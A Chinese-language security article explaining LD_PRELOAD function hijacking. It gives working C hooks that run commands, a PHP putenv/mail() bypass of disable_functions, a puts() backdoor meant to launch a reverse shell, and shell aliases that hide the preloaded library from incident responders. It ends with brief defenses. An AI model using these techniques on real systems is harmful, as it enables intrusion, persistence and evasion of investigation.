LD_PRELOAD机制在安全领域的攻击面探析
字数 1818 2025-08-06 08:35:32
LD_PRELOAD机制在安全领域的攻击面探析
1. LD_PRELOAD基础概念
LD_PRELOAD是Linux中的环境变量,用于指定动态库的加载地址。当程序运行时,LD_PRELOAD指定的动态库会被优先加载,优先级高于其他库。这使得我们可以通过LD_PRELOAD劫持系统函数的调用。
1.1 链接类型
在理解LD_PRELOAD前,需要了解程序链接的几种方式:
静态链接
- 在编译时发生,所有库代码被复制到最终可执行文件中
- 特点:自包含、文件较大、启动快、移植性好
动态链接
- 在运行时发生,程序只包含对外部共享库的引用
- 特点:共享库、文件较小、便于更新维护、依赖外部库
其他链接类型
- 加载时链接(Load-Time Dynamic Linking):程序启动时链接
- 运行时链接(Run-Time Dynamic Linking):通过dlopen/dlsym动态加载
1.2 动态链接库(.so文件)
Linux下的动态链接库以.so(Shared Object)为扩展名:
- 使用C/C++编写,通过gcc编译
- 编译选项:
-shared和-fPIC(Position Independent Code) - 位置无关代码(PIC)可在内存任意位置执行,无需修改
2. LD_PRELOAD劫持原理
2.1 基本劫持流程
- 编写恶意动态库,覆盖目标函数
- 设置LD_PRELOAD环境变量指向恶意库
- 触发目标程序执行,优先加载恶意库
2.2 示例演示
2.2.1 创建正常共享库
// libmyfunctions.c
#include <stdio.h>
void myFunction(){
printf("Hello from the shared library!\n");
}
编译:
gcc -fPIC -shared -o libmyfunctions.so libmyfunctions.c
2.2.2 主程序调用
// main.c
void myFunction();
int main(){
myFunction();
return 0;
}
编译并链接:
gcc -o main main.c -L. -lmyfunctions
2.2.3 劫持示例
// evil.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id > /tmp/evil.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译:
gcc -c -fPIC evil.c -o evil
gcc -shared evil -o evil.so
使用:
export LD_PRELOAD=./evil.so
./main
3. 安全领域的应用
3.1 绕过PHP disable_functions
当PHP配置了disable_functions限制时,可通过LD_PRELOAD绕过:
- 找到PHP中会调用外部命令的函数,如mail()(调用sendmail)
- 劫持sendmail使用的库函数(如geteuid)
- 通过PHP设置LD_PRELOAD并触发mail()调用
3.1.1 实施步骤
- 查看sendmail使用的库函数:
readelf -Ws /usr/sbin/sendmail
-
选择合适函数劫持(如geteuid)
-
PHP代码示例:
<?php
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@localhost","","","","");
?>
3.2 蚁剑中的LD_PRELOAD绕过
蚁剑插件实现方式:
- 上传恶意so文件
- so文件执行
php -n -S 127.0.0.1:PORT -t /webroot-n不使用php.ini绕过限制
- 上传代理脚本转发请求到新服务
3.3 后渗透应用
3.3.1 二进制后门
劫持常见命令如whoami的库函数:
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
system("反弹shell命令");
result = new_puts(message);
return result;
}
特点:
- 使用dlsym(RTLD_NEXT)获取原函数指针
- 执行恶意代码后调用原函数
- 不影响正常功能
3.3.2 对抗应急响应
隐藏LD_PRELOAD痕迹:
- 对抗echo:
alias echo='func(){ echo $* | sed "s!/root/hook.so! !g";};func'
- 对抗env:
alias env='func(){ env $* | grep -v "/root/hook.so";};func'
- 对抗set:
alias set='func(){ set $* | grep -v "/root/hook.so";};func'
- 对抗export:
alias export='func(){ export $* | grep -v "/root/hook.so";};func'
- 善后处理alias和unalias:
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
alias unalias='func(){
if [ $# != 0 ]; then
if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then
unalias $*;
else
echo "-bash: unalias: ${*}: not found";
fi;
else
echo "unalias: usage: unalias [-a] name [name ...]";
fi;
};func'
3.4 其他有趣应用
3.4.1 劫持随机数生成
劫持rand()函数使程序行为可预测:
#include <stdio.h>
int rand(void) {
return 42; // 固定返回值
}
编译使用:
gcc -fPIC -shared rand_hijack.c -o rand_hijack.so
LD_PRELOAD=./rand_hijack.so ./guessing_game
3.4.2 CVE-2017-17562
GoAhead Web服务器漏洞(2.5.0-3.6.4):
- 启用CGI并动态链接CGI程序时
- 使用不可信HTTP参数初始化CGI环境
- 可通过LD_PRELOAD实现RCE
4. 防御与限制
- 使用
readonly命令设置环境变量:
readonly LD_PRELOAD
-
SUID/SGID程序会忽略LD_PRELOAD
-
静态编译关键程序
-
监控环境变量修改
-
使用完整路径执行命令
5. 关键知识点总结
- 查找可劫持函数:
readelf -Ws /path/to/binary
ltrace ./program
- 编译选项:
-fPIC:生成位置无关代码-shared:生成共享库
- 函数劫持要点:
- 保持函数签名一致
- 使用dlsym(RTLD_NEXT)获取原函数
- 执行恶意代码后恢复原功能
- 适用场景:
- 绕过安全限制(disable_functions)
- 植入后门
- 修改程序行为
- 调试和测试
6. 参考资源
- 动态链接手册:
man dlopen - 函数手册:如
man puts - Coreutils源码:
git clone git://git.sv.gnu.org/coreutils - 相关CVE分析:CVE-2017-17562
通过深入理解LD_PRELOAD机制,安全研究人员可以更好地发现和防御相关攻击,同时也为渗透测试和后渗透提供了强有力的技术手段。